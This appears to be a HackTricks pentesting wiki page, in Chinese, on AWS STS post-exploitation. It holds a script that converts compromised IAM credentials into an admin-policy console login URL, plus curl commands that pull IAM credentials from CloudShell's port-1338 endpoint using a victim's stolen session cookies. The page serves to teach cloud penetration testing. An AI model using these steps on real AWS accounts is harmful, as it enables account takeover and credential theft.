AWS - STS Post Exploitation

支持 HackTricks

STS

更多信息:

从 IAM 凭证到控制台

如果您成功获取了一些 IAM 凭证,您可能会对使用以下工具访问网络控制台感兴趣。 请注意,用户/角色必须具有权限 sts:GetFederationToken

自定义脚本

以下脚本将使用默认配置文件和默认 AWS 位置(非政府和非中国)为您提供一个可以用于登录网络控制台的签名 URL:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

您可以使用 https://github.com/NetSPI/aws_consoler 生成一个网页控制台链接

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

确保 IAM 用户具有 sts:GetFederationToken 权限,或提供一个角色以进行假设。

aws-vault

aws-vault 是一个在开发环境中安全存储和访问 AWS 凭证的工具。

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

您还可以使用 aws-vault 来获取 浏览器控制台会话

从控制台到 IAM 凭证

最初在这篇文章中发现,如果您设法破坏了对 web 控制台的某些访问(也许您窃取了 cookies 并无法访问 .aws 文件夹),您可以通过 CloudShell 获取该用户的一些 IAM 令牌凭证。

CloudShell 通过 未记录的端点在 1338 端口 暴露 IAM 凭证。在将受害者的会话 cookies 加载到您的浏览器后,您可以导航到 CloudShell 并发出以下命令以获取 IAM 凭证。

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
支持 HackTricks

Last updated